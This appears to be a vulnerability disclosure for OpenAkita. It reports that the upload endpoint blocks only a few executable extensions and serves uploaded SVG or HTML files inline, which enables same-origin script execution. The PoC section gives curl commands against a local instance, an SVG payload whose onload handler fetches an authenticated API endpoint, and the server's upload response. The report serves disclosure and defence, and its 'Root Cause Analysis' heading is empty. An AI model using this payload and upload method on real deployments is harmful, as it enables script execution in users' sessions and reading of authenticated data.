Overview

In OpenAkita, the upload endpoint only blocks a small set of "executable program" file extensions. There is no whitelist-based MIME restriction. Uploaded files have their media_type inferred from the file extension and are served directly via FileResponse without forcing an attachment download. As a result, attackers can upload script-capable content such as SVG or HTML files. When the returned URL is opened directly in a browser, the script executes within the OpenAkita same-origin context.

Root Cause Analysis

POC Verification

Verified on a locally running instance at http://127.0.0.1:18900:

❯ curl -X GET <http://127.0.0.1:18900/api/auth/check>
{"authenticated":true,"method":"local","password_user_set":true}#
<svg xmlns="<http://www.w3.org/2000/svg>" width="320" height="120" onload="fetch('/api/auth/check').then(r=>r.text()).then(t=>document.getElementById('out').textContent=t)">
  <text id="out" x="12" y="24">pending...</text>
</svg>
curl -X POST <http://127.0.0.1:18900/api/upload> \\
  -F 'file=@openakita_poc.svg;type=image/svg+xml'

Response:

❯ curl -X POST <http://127.0.0.1:18900/api/upload> \\
  -F 'file=@openakita_poc.svg;type=image/svg+xml'
{"status":"ok","upload_id":"1779631349_b6b04a66.svg","filename":"1779631349_b6b04a66.svg","original_name":"openakita_poc.svg","size":228,"content_type":"image/svg+xml","mime_type":"image/svg+xml","url":"/api/uploads/1779631349_b6b04a66.svg","local_path":"/root/.openakita/uploads/1779631349_b6b04a66.svg"}#